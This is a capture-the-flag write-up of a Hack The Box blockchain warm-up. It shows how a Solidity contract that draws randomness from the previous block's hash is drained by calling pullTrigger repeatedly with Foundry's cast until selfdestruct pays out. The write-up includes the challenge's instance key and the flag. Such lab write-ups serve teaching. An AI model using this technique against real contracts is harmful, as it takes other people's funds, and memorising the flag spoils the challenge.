Russian Roulette - Blockchain
Task
Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?
Solution
We get two port numbers 28531
, 30230
and zip file containing two files Setup.sol
and RussianRoulette.sol
. These files are written in the Solidity programming language, which is used to create smart contracts. Smart contracts are programs that exist on the blockchain. Let's start the analysis from the Setup.sol
file.
Setup.sol
pragma solidity 0.8.23;
import {RussianRoulette} from "./RussianRoulette.sol";
contract Setup {
RussianRoulette public immutable TARGET;
constructor() payable {
TARGET = new RussianRoulette{value: 10 ether}();
}
function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}
This file is deploying the smart contract RussianRoulette
with 10 ether. The function isSolved
checks if the challenge has been solved. To solve the contract we have to reduce the balance to 0 ether.
RussianRoulette.sol
pragma solidity 0.8.23;
contract RussianRoulette {
constructor() payable {
// i need more bullets
}
function pullTrigger() public returns (string memory) {
if (uint256(blockhash(block.number - 1)) % 10 == 7) {
selfdestruct(payable(msg.sender)); // π
} else {
return "im SAFU ... for now";
}
}
}
RussianRoulette.sol
is the contract that we need to solve. The code we should exploit to get the flag is located in the pullTrigger
function, which is public. If certain conditions are met, this function will call selfdestruct()
otherwise i'm SAFU ... for now
will be returned.
Method selfdestruct
deletes smart contract and transfers remaining ether to the specified address, in this case to the msg.sender
address which is the address initiating the transaction.
Now let's look at the conditions that must be met for the smart contract to be destroyed:
uint256(blockhash(block.number - 1)) % 10 == 7
It generates a random number by taking a blockhash
of the previous block, converting it to a uint256 type, and performing a modulo by 10. Then it is checked whether the remainder is equal to 7. If this condition is met the contract self-destructs.
Now let's take a look at the ports we received. The first of them28531
port can be used to check connection information, restart the challenge instance, and receive the flag:
szczygielka@hacks$ nc 83.136.252.250 28531
1 - Connection information
2 - Restart Instance
3 - Get flag
action?
Before we proceed, we need to retrieve the information necessary to establish the connection:
szczygielka@hacks$ nc 83.136.252.250 28531
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 1
Private key : 0x966ce9d12d9d8da71e1c7e01f062b32610aa86536e0b29fe511a60e3805704d1
Address : 0x285dc27857Bc4aB5A4D4390eE55d47B68B380680
Target contract : 0x760538Ce5a7947e46341875E910d0C0F3FAe19AA
Setup contract : 0xE8523cd465569eb3Be342E81F4FC9315a14D2A69
The second socket, which is 30230
is the RPC endpoint which we will use to connect to the blockchain. For this purpose, we can use cast
which is Foundryβs command-line tool. To get the value equal to 7, we will use brute force and call the pullTrigger()
function multiple times.
szczygielka@hacks$ cast send 0x760538Ce5a7947e46341875E910d0C0F3FAe19AA "pullTrigger()" --rpc-url "http://83.136.255.100:30230/" --private-key 0x966ce9d12d9d8da71e1c7e01f062b32610aa86536e0b29fe511a60e3805704d1
blockHash 0xccff370e20fae56ce5f09a8bbfa48453650bb92db95165f62f7edd114920e0d5
blockNumber 2
contractAddress
cumulativeGasUsed 29245
effectiveGasPrice 3000000000
from 0x8bb982220DcD1198891356b73299c1D11A44c650
gasUsed 29245
logs []
logsBloom 0x0000000000000000000 <SNIP>
root
status 1
transactionHash 0x57af6d15087110ae2af56220e9ed9ad8e853199e27651db2d4ecd8b93da9059a
transactionIndex 0
type 2
to 0x60f89074D900453dC6c2c358b073f3DBE3D4EC15
depositNonce null
If we were lucky and the condition of the pullTrigger()
function was met we can get the flag:
szczygielka@hacks$ nc 83.136.252.250 28531
1 - Connection information
2 - Restart Instance
3 - Get flag
action? 3
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
Flag:
HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}
Last updated